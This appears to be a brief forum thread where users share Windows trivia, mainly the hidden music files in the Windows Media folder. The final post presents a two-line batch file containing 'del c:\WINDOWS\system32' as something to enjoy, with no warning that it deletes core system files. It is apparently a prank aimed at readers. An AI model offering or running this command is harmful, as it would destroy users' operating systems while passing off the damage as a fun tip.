Interesting things on Windows - Easter Eggs/Unknown Stuff/Etc

[The Riddler]

Post stuff that you know about Windows that is interesting here.

Everyone with windows, Go to My Computer > C: > WINDOWS > Media > Onestop
Listen to it. DO NOT QUESTION THIS. JUST DO IT.

Edit: Listen to Town and Flourish too.

[Eizweir]

I'm digging this bass guitar

[Lotos]

Gotta love that batch file.

@echo off
del c:\WINDOWS\system32